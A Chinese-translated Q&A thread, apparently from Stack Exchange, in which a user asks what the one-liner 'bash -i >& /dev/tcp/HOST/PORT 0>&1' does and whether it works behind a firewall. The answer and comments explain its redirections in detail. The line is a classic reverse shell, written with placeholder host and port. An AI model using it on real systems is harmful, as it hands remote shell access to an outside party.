bash -i >& /dev/tcp/HOST/PORT 0>&1 的含义?

Hel*_*los 17 bash firewall io-redirection tcp

我试过

bash -i >& /dev/tcp/HOST/PORT 0>&1
Run Code Online (Sandbox Code Playgroud)

但它似乎在防火墙后面不起作用。这段代码实际上做了什么,转发了哪些端口,它可以在防火墙后面工作吗?

Gil*_*il' 22

此代码段bash -i在与指定主机上的指定端口的 TCP 连接上运行一个新的 bash ( )交互式实例,该端口是在 bash 进程期间创建的。标准输出和标准错误通过此连接 ( >& /dev/tcp/HOST/PORT)发送,标准输入通过此连接读取(0>&1- 这应该0<&10>&1也有效)。

没有进行端口转发。显然,某种 TCP 服务器必须在该 HOST:PORT 上侦听和接受连接,并且防火墙必须让连接通过。

  • @golem 这是重定向。不涉及管道。`0&lt;&amp;1` 表示将当前在文件描述符 1 上打开的任何内容连接到文件描述符 0。由于之前的重定向 `&gt;&amp; /dev/tcp/HOST/PORT` 将 fd 1(输出重定向的默认值)连接到 `/ dev/tcp/HOST/PORT`, 即打开了一个 TCP 套接字,这将 TCP 连接复制到文件描述符 0(即同一个套接字现在也在 fd 0 上打开,这与 0 不同&lt;/dev/tcp/HOST/ PORT 将打开到同一台服务器的不同套接字)。 (6认同)
  • @Gilles,我无法消化“0&lt;&amp;1”部分。我将其读作“获取 bash stdout (`&amp;1`) 并将其通过管道传输到 bash stdin (`0`)',这是有道理的。你能解释一下这部分是如何工作的吗? (3认同)
  • @Helos 你真的看到了`/dev/tcp/HOST/PORT`吗?我假设你已经用“HOST”替换了一个名字,用“PORT”替换了一个数字。否则你会收到来自 bash 的错误信息。由于您没有提到任何错误消息,我认为您没有看到任何错误消息。 (2认同)